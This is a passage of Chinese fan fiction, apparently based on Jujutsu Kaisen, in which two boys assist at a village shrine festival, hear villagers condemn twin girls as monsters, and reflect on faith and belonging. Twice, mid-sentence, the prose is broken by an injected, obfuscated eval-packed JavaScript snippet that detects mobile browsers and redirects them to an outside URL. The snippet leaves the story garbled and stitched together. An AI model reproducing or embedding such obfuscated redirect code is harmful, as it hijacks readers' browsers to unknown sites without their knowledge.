他翻了个身,正对着虎杖悠仁的睡颜,闭上了眼睛。
也许是因为神明大人太忙了?毕竟只有祭典的时候才能见到祂嘛。
乙骨忧太睁开眼。
见到、祂?
记忆闪回,无数画面在黑暗的房间中闪过,最终定格在了他和虎杖悠仁跟着宫司进入神社本殿的片段。
“......这是御厨子,里面的东西是神明的凭依之物。”
“......真正的神明大人在山中......”
“......不可直视。”
女孩的声音如雷贯耳。
“我才不相信这世界上有神呢。祖母他们总是对着神龛跪拜,试图这样来清洗自己还活着的时候犯下的罪孽,祈求死后能够往生极乐,早日成佛。如果真的有神佛存在,怎么可能让她们如愿呢?”
祈本里香在狂风骤雨中的声音变得失真又模糊。
“人死了就是真的死了,与其祈愿死后成佛,不如学着在生前即身成佛。”
乙骨忧太恍然想起绕着巨木踉跄前行的中美和那群孩子,可白色咒灵的身影也时不时从他眼前闪过。
他捂住耳朵,企图阻止盘旋在耳边的嘈杂声音涌入耳道,将他的大脑搅成一团浆糊。
他已经,完全搞不明白了。
乙骨忧太几乎一夜没睡,第二天清早他的眼睛下面浮现起了一圈青黑,吓了虎杖悠仁一跳。他伸手蹭了蹭乙骨忧太的眼眶,在确定那不是沾上了什么灰尘之后大惊失色:“忧太!!你晚上是去梦游了吗?!”
怎么会变得这么疲惫?!
因为不想让虎杖悠仁担心,所以乙骨忧太只能说自己没怎么睡好,隐去了导致自己失眠的原因。
“爷爷倒是说荞麦做的枕头可以助眠来着,不然下次我们买一些荞麦回来?或者我给你做一张捕梦网!这样是不是就能好好睡觉了?”
啊,果然还是被发现了。噩梦......那也可以算是噩梦吧。
乙骨忧太略显羞愧地挠了挠头发,这副模样让他看起来有了一些远超同龄人的成熟:“悠仁还是先复习一下仪式礼仪吧,如果忘记了可以看我哦。”
果不其然,虎杖悠仁的注意力被转移到了祭典的仪式上。他们只知道巡游会从神社开始,在宫司跟随着巡游队伍离开时,神社里的仪式就交给他们和留驻在神社的巫女们了。
乙骨忧太说的仪式礼仪是在巡游开始前的神前祷告之类的环节,他们作为见习神官需要跟随在宫司的左右,捧着神馔和其他道具帮助他完成仪式。
“唔哇!时间要来不及了!!”
虎杖悠仁一把掀开被子,从床上跳到了地上,冲进了浴室。
“别在家里跑太快!”乙骨忧太的话根本追不上精力旺盛的小老虎,连尾巴尖都没能跟上。
算了,每到这个时候乙骨忧太只能用“悠仁的身体超级健康”来安慰自己,这样壮实的孩子就算在家里摔跤也不会伤得太重。
出门在外的时候虎杖悠仁倒是很听他的话,一到家,或者只有他们两个人的时候就会显出一些调皮的性子来。
他从床上下来,去准备两个人的早餐。
红豆面包和罐装牛奶......下次可以买点火腿之类的?是不是该换一些早餐了?乙骨忧太默默心想。
浴室里的虎杖悠仁用手沾了一些水,随意捋顺了睡得七零八落的头发。
他揪起一缕发尾拉直,嘴里嘟嘟囔囔地说:“是不是该剪头发了?说起来,忧太的刘海都快盖过眼睛了!”
村子里又没有理发店。虎杖悠仁有些兴奋地想道,这样的话他们就只能自己修剪头发了!他可以让乙骨忧太给他剪出他最喜欢的电视剧男演员的发型!
“唔,隔壁村子里有理发的地方哦,宫司先生他们都是去那边打理头发的。”乙骨忧太咬着面包,用手指搓了搓的确有些过长的刘海。他和虎杖悠仁的发型都是最普通不过的学生头,粉发孩子后脑靠近脖颈地方的头发稍微短一些,黑发的发质更硬,似乎也没有粉色头发那样爱长。
“发色?发色是天生的啦!”虎杖悠仁的发色与众不同,每次去新的地方玩,总会有陌生的小朋友和大人过来问他有没有染过头发。但这样粉黑混杂的发色真的是天生的。
不知道为何,虎杖悠仁总觉得自己的黑发遗传自妈妈。
明明脑海中并没有关于妈妈的形象记忆,却笃定地这么认为着——妈妈的黑色头发一定很好看。
就像忧太一样!
正在思考如果换个发型、将刘海留长再拨到两边会是什么样子的乙骨忧太抿了一口牛奶。那样的话......中分?三七分?会不会显得很怪?
“旧村为什么要叫旧村啊?因为房子都很老吗?”
“不是哦,那里似乎也不叫旧村,而是有个别的什么名字,不过大家似乎已经习惯这样称呼那里了。”
如果说老的话,可能是真的吧。在村落的名字之前加上了“旧”字,最后却将最重要的名字忘记了,只剩下了旧村这样的称呼。
“那里远吗?有理发店的话,会有甜品店吗?我们能去那里玩吗?”虎杖悠仁像是小炮仗一样问了一连串的问题,只可惜乙骨忧太对此也知之甚少。
“等祭典结束了,我们可以问问宫司先生哦。”
乙骨忧太觉得他们要做好仅凭双脚无法在一天内完成来回的预想。虽说还没有把村子里的人认全,但他们也没有遇到过自称来自旧村的人。
难道以后还得考虑买一个自行车?或者等他们长大了再买?在这个村子里应该不好找到正巧适合他们的小自行车吧?
想要去旧村逛逛的想法压在了虎杖悠仁的心底,不过就算他再怎么期待,也不得不承认乙骨忧太的话是对的。现在最重要的是即将开始的祭典,宫司本人在祭典开始前几天就在神社内准备斋戒和沐浴,因为虎杖悠仁和乙骨忧太还是小孩子,所以没有让他们跟着他一起严格遵守这些规矩。
宫司甚至允许他们在祭典开始前到神社来就好,不过男人还是叮嘱他们最好早点到,不然到时候很可能会被村民们堵在门口进不去。
今天早上的村子安静得过分,虎杖悠仁拉着乙骨忧太跑在田埂间。清晨朝露的气息带着凉意扑面而来,难得是个能看见太阳的好天气,阳光透过薄薄的云层洒了下来,像是流淌着的金沙瀑布。
“果然大家都去神社参加祭典了啊。”
尽管已经接受了这场祭典不会有各种活动和烟花的事实,但虎杖悠仁还是希望祭典能够越热闹越好。没有灯笼和彩带让人觉得眼睛里的色彩有些单调,但神社前攒动的人头弥补了这些缺憾。
没有人特意换上浴衣,大家还穿着与平时一模一样的衣物聚集在神社的门口,有巫女和神职人员试图维持秩序,但站在前排的人手上大多还举着果子,就像之前虎杖悠仁他们在中美家前见到的那副景象一样,争先恐后地向前挤着。
“悠仁,没问题吧?”乙骨忧太拉着虎杖悠仁从侧门进入神社,还不忘记关心他的状况。
“没问题的!”尽管那样的景象还是让虎杖悠仁觉得难以适应,不过他可以忍耐。今天可是重要的祭典,他不会让这样的小事打扰到自己。
他们成功抵达社务所的时候,宫司已经穿戴整齐,坐在椅子上看着来往的人员进行仪式开始前的准备。见到他们进来,也没有着急催促他们去换衣服:“看到外面的人了吧?”
“好多人啊。”虎杖悠仁拍着胸口,一副心有余悸的模样。这样的行为逗笑了宫司,他拍了拍虎杖悠仁的头:“哈哈,去换衣服吧。中美那孩子还要一点时间准备,你们也不需要太着急。”
见习神官的衣服穿起来有些麻烦,虽然他们早就穿过一次,但这一次依旧花费了很多的时间。
在仰着头等乙骨忧太帮他调整衣袖位置的间隙,虎杖悠仁就着这样的姿势问道:“忧太,要把那件事告诉宫司先生吗?”
乙骨忧太手上的动作没有停,随口回答道:“现在说也没有意义了,而且这跟我们也没有关系。”
不,是这些事都和虎杖悠仁没有关系。选中中美的是他,就算青年想要找到根源,他的终点永远只能是乙骨忧太。
不过直到现在他们都没再听说中美哥哥的事,也没有在人群中见到他。
虎杖悠仁看起来在想些什么,只是小小地“嗯”了一声,乖乖等着乙骨忧太为他调整好衣服的褶皱。
“准备好了吗?”
虎杖悠仁点头。
仪式的进行很顺利,中美踩着铺在地上的白布登上了神舆,在神乐殿起舞的巫女们甩动神乐铃,队伍在清脆铃音中缓缓启程。她看起来气色好了很多,面颊带着点亢奋又紧张的薄红。
乙骨忧太和虎杖悠仁目送着人群离开神社,浩浩荡荡地向往常他们回家的方向走去。
神社里很快就剩下他们两人和留在这里的巫女,她们显然仍旧不太愿意主动靠近他们,所以两个孩子躲进了社务所。
虎杖悠仁趴在桌子上睡了一觉,他实在觉得有些无聊又困倦,在歪着头入睡之前他还记得让乙骨忧太及时叫醒他。
被摇摇晃晃地推醒之前,他正站在甜品店前挑选着冰激凌的口味,结果手一抖就看见自己期待已久的冰激凌球直接掉到了地上。
“......我的冰激凌!!”他一下子哀嚎出声,下一秒却被一只手捂住了嘴巴。这让他瞬间清醒了不少,虽然眼眶仍旧带着短暂睡眠带来的疲惫酸软,但周围的景象足以让他明白乙骨忧太让他噤声的原因。
几乎所有的巫女们和神职人员都来到了社务所,大家挤在房间里,透过窗户一边望着外面一边窃窃私语。
“怎么回事啊?”虎杖悠仁向旁边坐了坐,给挤在他身边的乙骨忧太腾出半边椅子,拉着他坐下,捂着嘴巴小声问道。
乙骨忧太和他咬耳朵:“好像是巡游仪式出了问题,有很多人跑到神社里来了,宫司也在外面。”
虎杖悠仁扒着他的肩膀向窗户外面看,几乎要将脸贴在玻璃上,才勉强看清了参道上密密麻麻地站了一群人,他们围在那里,虎杖悠仁看不清他们的脸,却仍能从投掷东西的动作上看出他们的愤怒。
神社的神职人员们几乎都人心惶惶,不安在这间屋子里蔓延开来。
虎杖悠仁偷偷扯了扯一个巫女的衣袖,瞪着大眼睛悄声问道:“请问外面发生什么了呀?”
他特意选择了这位女性,而巫女也如他所愿,悄悄告诉了他:“那个女孩的哥哥,听说他在她进山的时候想要带着她离开,但是被村里的大家阻止了......宫司让我们不要插手,虎杖,你和乙骨也不要出去哦。”
得到答复的虎杖悠仁摸回了乙骨忧太的身边。他知道黑发的孩子一直在看着他,所以理所当然地凑了过去:“......中美的哥哥究竟为什么要这么做呢?”
早上明媚的阳光已经被厚重的云层挡得严严实实,又变成了阴沉的模样。外面的争吵声逐渐变大,可乙骨忧太和虎杖悠仁什么都听不懂。
社务所屋子里的大人们满眼担忧,这场闹剧持续了太久,虎杖悠仁也不知道现在是什么时候,他的肚子饿得咕咕叫,但现在这个样子也没有人有心情准备饭食。乙骨忧太取来自己的外套让他当作小枕头垫在脑袋下,好趴在桌子上睡得稍微舒服一些。
睡眠质量超好的虎杖悠仁很快又眯起了眼睛。
乙骨忧太撑着下巴,只露出一双黑色的眼。他一直在留意社务所里的神职人员们的交谈声。他盯着那些人的嘴巴,凭借微不可查的声音逐渐拼凑着事情的全貌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378157|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
似乎除了担忧之外,这些大人们的神情中还有未被很好隐藏起来的恐惧。
巡游仪式差一点被破坏,这是这群人害怕的根源。
侍奉神明的人会恐惧这样的不敬也是理所当然,但这似乎并非这种情绪的完整组成部分。
是什么呢?剩下的究竟是什么?
忽然,乙骨忧太睁大了眼睛。
——那个外乡人差点毁掉了一切!你听说了吗?隔壁的旧村里被怪物生下来的那对双胞胎用邪恶的力量伤人了!真是太可怕了,如果不是神明大人,我们村子里也会有这样的怪物诞生......
——他们怎么能让那样的污秽之物出生?!
——嘘!就是因为生下来才被发现,生下她们的人跳河死了,谁知道她们也......发现的时候就该直接将那些东西祓除,不然污秽会污染整个村子的!
乙骨忧太僵着脖子,他的视线落到了巫女们一张一合的嘴巴上。
——宫司大人原本说会在下周去隔壁村给她们举行净化仪式......我还从来没有亲眼见过呢。
——诶?我听说隔壁找到了一群民间术师来驱魔,结果那群人一点用都派不上!
——所以他们才来请宫司过去,不过现在山王祭出了问题,宫司估计没有时间了吧?
——真可怜啊。和怪物们住在一起......
有什么念头在脑海中一闪而过,乙骨忧太却没能捉住它。是他主动松开手,任由那乍现的灵光从自己松动的指缝间漏过。
他继续环顾着屋子,试图从大人们口中找到更多关于中美和巡游仪式的消息。
但他彻底失败了,看起来对他们来说似乎这个差一点失败的仪式还不如旧村的八卦来得重要。黑发的孩子一眼就看穿了大人们故作轻松的伪装。
乙骨忧太想得明白,正是因为害怕所以才对此闭口不谈,他们天真地认为只要不去在意,那些不敬的行为就不会被神明发现。
他突然又想起昨晚不停在他脑海中盘旋的话。这些人和祈本里香整日在佛前祈祷的祖母一样,坚信神明会听到自己的祷告,因此只要不将那些“不该说给神明听的事”说出口,就好像神明永远不会知道一样。
黑发的孩子皱着眉头,将脸埋入臂弯,缓缓闭上了眼睛。
口口声声说自己相信神佛的存在,却在神佛面前从容地撒谎,面不改色地自己祈求来世的幸福与灵魂解脱。
这样的人生——真是太可怕了。
他们一直等到了夕阳西下,人群才在落日的余晖中逐渐散去,被困在社务所的大人们得以解脱,各自离开。虎杖悠仁和乙骨忧太已经饿得前胸贴后背,今日神社没有开火,所以他们只能赶去便利店看看还有没有可能买到便当。
临走时,宫司叫住了他们:“今天辛苦你们了,明天也到神社来吧。”
虎杖悠仁拉着乙骨忧太的手,他只是点了点头,没有像往常那样热情地回应男人的邀请。
理解孩子们精力有限,宫司放他们离开了。
好消息是便利店还开着门。虎杖悠仁和乙骨忧太买好了鳗鱼便当和牛肉便当,拜托老板帮他们热好,端着烫手的盒子匆匆离开了便利店。
快到家门口的时候,他们发现门前的土路变了个样子。道路的两侧多了不少被人丢弃的果子,还有一些布带和生活垃圾被人胡乱丢在路边的草垛上。
延伸向野地的花丛被踩倒了一大片,折断的茎秆颤颤巍巍地勉强挺立着,估计明早就会完全倒伏在地上,失去生机。
“巡游......是去森林里吗?都把花踩倒了......”虎杖悠仁试图扶起它们,但折断处涌出了汁水,深沉的颜色也说明那里彻底断开,不可能再支撑着那些美丽的花朵重新站起来。
他们正在往上走,发现这条路通向森林的方向能够看见一些不同于电器发出的光亮,赤橙的光在夜风的吹拂下摇摇晃晃,虎杖悠仁很快明白过来那是一支支被点燃的火把。
他们又向前走了一段距离,来到了家门口。但是此处距离被树冠和林木挡住的火把点燃的地方看起来还有很远,乙骨忧太又仔细地盯着看了一会儿,发现那些火把也在移动着。也就是说,还有人在月亮出来之后仍旧留在森林里。
虎杖悠仁刚想顺着他的视线看过去,却被乙骨忧太一把抓住,拉进了屋里。
“好了,我们先吃饭吧!”乙骨忧太将虎杖悠仁摁在了凳子上,将竹筷子掰开,帮他削去了毛刺:“悠仁饿坏了吧?”
“你不是想捞金鱼吗?我们明天可以再去小溪边捞鱼,正好试试你上次做的那个小抄网......”
乙骨忧太有些喋喋不休,虎杖悠仁仰头看着他忙来忙去,忽然说道:“我可以一样吃一半吗?”
“嗯?”
粉发的孩子指了指鳗鱼和牛肉两个便当:“它们看起来都很好吃!”
乙骨忧太坐在了他的对面,将并排放好的两个便当推到了桌子中间:“悠仁想吃什么都可以哦。”
因为白天睡得太多,他们玩到了很晚才上床睡觉。
虎杖悠仁没有要求爬上房顶看星星,反而揪着乙骨忧太试图教会里香玩猜拳游戏。他们从桌子上玩到了床上,最后只是教会了里香比出剪刀手,但这已经让虎杖悠仁倍感自豪。
头沾到枕头的时候,令人不安的寂静充斥在屋子里。乙骨忧太强迫自己放空大脑,不要再去想那些令人费解的事情。不去想的话会轻松太多,就像教里香玩猜拳的那两个小时里,他几乎没有再想起有关今天这场祭典的一切。
所以就让他这样睡过去吧。快些来到明天,让今天发生的一切留在过去吧。
“......”虎杖悠仁翻了个身,正对着仍旧睁着眼睛的乙骨忧太。他伸出一只胳膊,在被子下面捉住了乙骨忧太的手。
“这样,握着睡得话就不会做噩梦了。”
就算做噩梦的话,也让他一起进入对方的梦境吧。他会变成超人打跑所有企图在噩梦中靠近他们的怪物,这样忧太就不会害怕到不敢入睡了吧?
虎杖悠仁闭上了眼睛。
19. 第 19 章
一夜无梦。
乙骨忧太睁开眼睛之前就感觉有刺眼的白光照到了他,果不其然醒来后看到了大开的窗帘,朝阳毫不留情地将他整个人笼罩了进去,身上的被子发出晒烤过的味道,莫名变得沉重了许多。
他想要起身,这才发觉到压在身上的重量并非他的错觉,虎杖悠仁横着身子趴在他的腰上,压得他有些喘不过气来。粉发的孩子明明比他还要小一岁,但不管是身高还是体重都和他差不多,甚至可能比他还要重上不少,乙骨忧太现在已经有些抱不动他了。
“悠仁......悠仁?快醒醒啦,我要去洗漱!”他推了推压在身上的孩子,看到满头粉毛乱翘的虎杖悠仁揉着惺忪的睡眼和他打招呼:“早上好忧太,我......啊!我怎么睡着了?!”
虎杖悠仁弹了起来,胳膊肘正好撑在了乙骨忧太的肚子上,果不其然听到了一声哀嚎:“呜哇!悠仁我的肚子!!”
“诶?!对、对不起啦!忧太你好瘦啊,我都没发现那是你的肚子......抱歉啦!!”
虎杖悠仁有点亢奋过头的意思,他单脚跳着去找另一只被甩飞的拖鞋,又跑到桌子旁倒牛奶,从箱子里拿出最后的红豆面包。
“难得看见忧太比我醒得晚,所以我就没有叫你,”虎杖悠仁看见乙骨忧太眯着眼睛揉被他不小心痛击的肚子,解释道,“而且,今天是晴天喔!我们可以洗衣服啦!”
乙骨忧太掀开被子,推着虎杖悠仁去浴室的门框旁,敦促他站直身体,拿手比划着头顶的高度,然后用记号笔在墙上留下了一道划痕。
“?”
“啊,我妈妈以前会这样记录我的身高。所以我想着也给悠仁这样记录一下,等到很久以后再看的话就好像亲眼看着悠仁长大了一样。”
乙骨忧太郑重地在门框旁的黑线上写下了今天的日期,虎杖悠仁闻言也要乙骨忧太在门框另一侧站好,垫着脚给他也画了一道。
“就算不画这些也能见到长大的过程啊......不过忧太你居然比我还要高一点诶!我还以为我们一样高呢!不过就只有一点点,我很快就能赶上你的!”
乙骨忧太收起记号笔:“我也会长高的哦,悠仁永远都会比我差一点!”
虎杖悠仁扑了过来:“不行!忧太不能长得太快!”
乙骨忧太被他扑得向后退了一步,粉发孩子全然放松,将身体的所有重量都压在了他的身上,撑着他的乙骨忧太有些吃力。这孩子......摸起来也不胖,为什么会这么沉啊?
“为什么呢?”他一边调整姿势一边问道。
“唔嗯......”虎杖悠仁支支吾吾半天,最终只是瘪着嘴扭开了头。
如果不长得更壮实一些,他总会觉得自己在被乙骨忧太保护着。虽然这样的感觉还不错,但虎杖悠仁不想一直这样继续下去。
想要做正确的事,想要保护自己的家人,如果没有足够强大的力量的话是什么都做不到的。
不是说他希望乙骨忧太变得柔弱、只能躲在自己身后——那光是想想就觉得一阵恶寒——他其实只是希望乙骨忧太不要走得太快。
不想被丢下,想要紧紧跟上去。
“怎么了?”见他不说话,乙骨忧太侧过头,试图看清他的脸。可是虎杖悠仁将身子扭成了麻花,一直躲避着他的视线,只让乙骨忧太看见了泛红的耳廓。
......因为觉得说出来很羞耻啊。躲不开的虎杖悠仁直接丢下了乙骨忧太跑到客厅里吃早饭,欲盖弥彰地望着窗户外面,乙骨忧太难得没有忍住偷笑的声音。
洗衣服比他们想象中花了更多的时间,上午肯定是没有时间去河边捞鱼玩了。乙骨忧太叫来里香,在白色咒灵的帮助下,他们在后院重新挂上了晾衣绳。
往衣架上挂衣服的时候,虎杖悠仁盯着不远处逐渐茂密到看不清树干的森林,手上的动作逐渐停了下来。
从衣角滴下来的水溅起了一个小水坑。
他回头看了一眼没有任何变化......硬要说的话是已经学会了比剪刀手的里香,和乙骨忧太说道:“神明什么时候开始实现大家的愿望呢?”
乙骨忧太闻言一顿,他坐在里香的手臂上,从虎杖悠仁手里接过挂好衣服的衣架,整齐地将它们排列在晾衣绳上:“有那么多人都想实现愿望,也许祂会很忙呢。”
地上的孩子昂起头问:“祂也每天都在工作吗?这样的话,周末就不能去参拜了,毕竟祂也会休息的呀。”
对这个村子的人来说,工作并没有双休这样的说法,他们大多数都是有活就干,什么时候会去神社参拜全看哪天有空,根本没有固定的时间段。
乙骨忧太摸着里香白色的硬质皮肤,忽然问道:“悠仁,你觉得世界上真的有神明吗?”
虎杖悠仁在下面转悠了两圈,语气中带着一些不确定,但似乎又对自己的答案深信不疑:“有的话......会好一点吧?”
自己做不到的事情可以祈求神明的垂怜,超越现实的妄想也可以借助神明之手变为现实。能够实现一切愿望的存在......简直就像梦一样美好。他希望爷爷、爸爸妈妈、里香全都回来,他还想再一次见到他们。
可是即便如此,他却没有在中美的面前说起这些愿望。
他后知后觉地明白了过来,他打心底里觉得这是不可能实现的愿望。虎杖悠仁用他还不够充实的大脑思考着复杂的问题。他觉得神就像一个大人给出的承诺,有的时候这样的承诺会真的兑现,有的时候它会在时间中沉寂,从所有人的脑海中逐渐被遗忘。
而孩子们通常无法决定承诺是否会真的被兑现。
这像极了虎杖悠仁印象中高高在上、神秘又沉默的神,给出一个虚无缥缈的承诺却不告知他们究竟会在何时、会以何种方式兑现,让人抓心挠肺地在意着,随着时间的流逝变成执念或者代表着过去的一缕烟尘。
他觉得这象征了一种希望。爷爷总说生活需要一点盼头,他也跟着老人学会了期待未来的每一次日出。有能够许愿的对象,尽管不知道能不能真的达成所愿,但内心无处可去的感情和冲动有了可以托付的地方,至少能够支撑着没有前进动力的人继续前行吧?
而且,要是神真的存在,也就是说灵魂也是真的可以成佛的。
只是也许因为住在这座山上的神明没有那么强大的力量,就像他自己一样,做不到力所能及的事情之外的事,没办法回应所有人的愿望。
既可以是希望,也可以是抱怨的对象。乙骨忧太站得更高一些,但他依旧无法看透远方的那片树海和那座山。
当满身满心的怨怼找不到发泄的对象时,那些无法为自己辩驳的、甚至不知道是否真的存在的神佛就可以承担他们的怒火。人们可以将一切错误与失意全部归咎于神佛,对着祂们随意发泄一通,用刻薄的话抱怨祂们的不公。
这样做了,就仿佛是在说“你是自作自受”,变成这样也是“无可奈何的事”。
他怎么会忘记了呢?在离开家之前的某些夜晚,他也会听见父亲向母亲抱怨为什么自己的孩子是个满口胡话、不值得骄傲的怪物。诅咒般的话语落在他的身上,让他痛苦不堪。
只要安慰自己“这是无可奈何的啊”就可以变得轻松起来,神大概就是这样帮助人们从无尽的痛苦中走出来的存在。
无法避开的结局,亦可称之为命运。
如果走上了错误的道路,得到了不好的结局,只需要将罪责推给神明就万事大吉,毕竟坚信“错不在我”才能在稀烂的结局中保护住最后的自我。
“神明如果真的存在,”虎杖悠仁抖开最后一件衣服,挂在衣架上,“会让世界变得更好一些吧?”
虎杖悠仁将衣架递给乙骨忧太。
神社里的见闻和耳濡目染让他变得相信起神明的存在,但乙骨忧太的提问又让他开始怀疑起来。
他一会儿因为村子里虔诚的信仰和宫司的话觉得神是存在的,一会儿又觉得根本没有神听到了他的愿望,如果不是祂耳背的话,那就是不存在的意思嘛。
但如果硬要让他选择一个答案的话,他还是会说有神存在会好一些。
“因为,”虎杖悠仁扬起笑脸,“我希望大家都可以过得幸福。”
乙骨忧太从里香的手臂上跳了下来,和虎杖悠仁一起倒掉了盆里剩下的水。
院子里埋着没吃掉的果子的地方散发出阵阵难闻的味道,虎杖悠仁不得不屏住呼吸撑开垃圾袋,乙骨忧太同样憋着气将那些已经完全腐烂、带着土的果实铲到垃圾袋中,虎杖悠仁迅速系上了口。
“我还以为能够让它生根发芽呢,”虎杖悠仁将垃圾袋丢入村口的垃圾车里,回来之后去浴室的水池洗了手,甩着水跑出来找乙骨忧太,“难道是我们浇了太多的水吗?”
“看起来更像是它本来就没办法种出根来,也许我们应该只留下果核?”
幼稚园有过种植活动,那个时候虎杖悠仁他们班选择的是马铃薯,老师带着他们直接将一整个马铃薯切成数块,埋到了幼稚园院子里的一片小菜地里。
他还记得他是每周三负责浇水的那一个。最后他们班的那一块发芽了吗?他有点想不起来了。明明只是几个月前的事情,却总感觉过了很久很久。
“种果子和种马铃薯是不一样的呀......”虎杖悠仁看着乙骨忧太将土坑重新填满,腐烂的气味终于彻底消散了。
乙骨忧太看了一眼时间:“只是方法不太对,院子这么大,我们可以想办法在这里种点东西。”
“我还想种马铃薯!”虎杖悠仁高举着手跳起来说。
“好啊。”
院墙外面爬了一些牵牛花,小喇叭一样的花朵颜色大多浅而杂,少有的几株绽放出浓烈的纯紫或天蓝,生长在高处。
前段日子的阴雨没有将花苞浇落,反而让它们开出了这样美丽的花。虎杖悠仁很喜欢这些五颜六色的小东西,不管叫不叫得上名字,就连路边的单色小花也深得他的偏爱。
一路上走走停停,他的手里已经凑出了一整束。
“爷爷还教过我编花环,我们以前用柳条,但是村子附近好像没有诶,”虎杖悠仁抽了根又细又长的草叶,将花束系在一起,递到了乙骨忧太的面前,“送给忧太了!虽然用狗尾巴草也能做啦,但是那样做出来的不太结实,还得用花装饰一下才好看。”
乙骨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378158|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忧太开心地收下了虎杖悠仁的花。他决定回家之后找个瓶子将它们放起来,但是现在只能用手小心翼翼地拿着了。
“我说悠仁,你不会是因为不想自己拿着所以才说送给我了吧?”
“?!哼哼,怎么会呢!我本来就是想送给忧太的!”虎杖悠仁双手捧着后脑勺,走路的姿势都变得别扭了起来,一看就是心虚的模样。
乙骨忧太没有戳穿他,一路上好好地握着花。他们走到神社的时候正好是饭点,宫司正站在朱红鸟居下的石阶上和一个陌生的女人说着什么。
他们靠近的时候听到了一两句。
“......走不开,让她们住在村子外面......”
“那怎么行?!宫司先生,你不知道她们有多可怕,简直是和她们两个的父母一样的怪物,用不可思议的力量伤人!没有将她们关进木牢已经是最后的仁慈,你得赶快在她们发疯之前把邪祟从她们身上祓除才行啊!”
虎杖悠仁第一次从宫司的脸上见到嫌弃和无奈的表情,他正对面的女人说得唾沫横飞,完全沉浸在自己的世界中,没留意到男人的神情。
“我知道了,等到我们这边将事情处理完就会去的,让她们住在村子外面,不要让其他人靠近就没问题了......”
“所以说,你到底有没有听我说的话啊!她们可是在用邪祟的力量伤人啊?!你不是神官吗?!赶快去......”
宫司注意到了靠近的虎杖悠仁他们,仿佛找到了理由直接打断了女人的喋喋不休。他三言两语将女人打发走,尽管仍旧愤愤不平,那女人最终还是满身怨气地离开了。
“那个人是?”虎杖悠仁问道。
宫司揉着额角:“是隔壁村村长的女儿......你们还没去过旧村吧?他们偶尔也会来请我们去举办仪式和祭典,是个相当难缠的家伙。”
乙骨忧太有些在意女人口中的邪祟:“她说的‘她们’和邪祟是怎么回事?”
“除了我们这个村子之外,世界上的每一个角落无时无刻都有邪祟诞生。它们会附着在人的身上,长着狰狞丑陋的模样,偶尔还会伤害他人。”
似乎是山王祭已过,宫司心中的大事还算顺利地完成了,他和两个孩子多说了一些:“不知道你们来之前能不能看见它们......村子里一个都没有,对吧?这就是神明大人的庇佑。”
他说这话的时候目光落在了乙骨忧太的身上。
“旧村最近总是怪事频发,村长觉得是有邪祟闯入了村子......那对双胞胎有可能就是被附身了的孩子,但是听他们说又好像那两个孩子的父母也会用奇怪的力量伤人,总之是个复杂的事......最近神社这边还有点事没有处理好,”他为虎杖悠仁和乙骨忧太取来了饭菜,“等到有空了,我带你们去那边看看。”
虎杖悠仁对此抱有极大的期待:“好耶!我还没去过那里呢!宫司先生,旧村的话......会有甜品店吗?那里能修理头发吗?我想剪个帅气的发型!”
男人笑着应道:“理发店吗?我们都是去那边剪头发的哦,肯定能让你满意的。”
乙骨忧太默默吃着饭。他听到宫司提到双胞胎,瞬间就回想起昨天巫女们的交谈。听到巫女们和刚才的女性将那对双胞胎形容为作乱的怪物,语气中的排斥和厌恶让乙骨忧太突然觉得眼前的饭菜有些难以下咽。
明明他们的排斥和厌恶并非针对自己,可他却犹如感同身受般,将自己带入到了那对双胞胎姐妹当中。
“忧太?没事吧?你看起来没什么食欲。”虎杖悠仁在宫司走后戳了戳乙骨忧太的手臂,关切地问道。
他总能第一时间察觉到身边人的不对劲。不过要让他本人来解释的话,他大概会说那是因为忧太实在太好懂了。
“不,我只是......”乙骨忧太顿了顿,最终还是将心中所想和盘托出:“在和悠仁重新遇见之前......如果没有和悠仁重逢的话,我和里香也会被人认为是怪物吧?”
他那时根本没有办法阻拦暴躁的里香,它几乎对每一个靠近他的人散发着平等的恶意,就像这个世界排挤着他一样,用尖刺回应着那些若有若无的刺探。
连家人都无法被接受,甚至还害得父亲和妹妹受到了那样的伤害。
乙骨忧太曾经很害怕,如果只是只有自己能够看见那些咒灵、在不小心对上视线后会被伤害倒也算了,可他却无法控制里香不去伤害他人。这让他无比恐惧,害怕到根本无法思考,只想一个人远离所有人。
蜷缩着身体躲在公园滑梯下的空洞里时,他真的想过不如就这样一个人离开。
直到虎杖悠仁挤进了那个狭窄逼仄的空洞,当那孩子和他一起哭泣的时候,不光是里香,连他自己也骤然变得平静了下来。内心的海面不再翻云覆雨,风暴逐渐平息,让阳光有了落脚之处。
里香不再随意失控,它似乎接纳了虎杖悠仁,甚至对那孩子的话言听计从。
直到恐惧不再摄住乙骨忧太的全部心神,他才有空余的精力来思考一些从前被他刻意忽略的事情。
因为虎杖悠仁的到来而变得安稳下来的究竟是里香,还是他自己?
20. 第 20 章
乙骨忧太不知道自己该如何形容那种感受。
仿佛被暖春的太阳照射着一般,浑身洋溢着足以让人幸福到融化的温暖,如果自己是独自熬过寒冬的种子,哪怕压住他的是坚硬的磐石,他想自己也一定会为了见到那束阳光而拼命顶开压在身上的石头。
哪怕付出绝命的代价,也必须见上一面。
这样疯狂的念头从未消失,它宛如毒蛇一样藏在枯朽的落叶之下,危险地吐着信子。
“那是因为大家都不知道里香和忧太有多好!”虎杖悠仁否定了他的说法,绷着一张小脸认真地反驳道:“大家又没有和里香还有忧太好好相处过,所以才会说出那样伤人的话!”
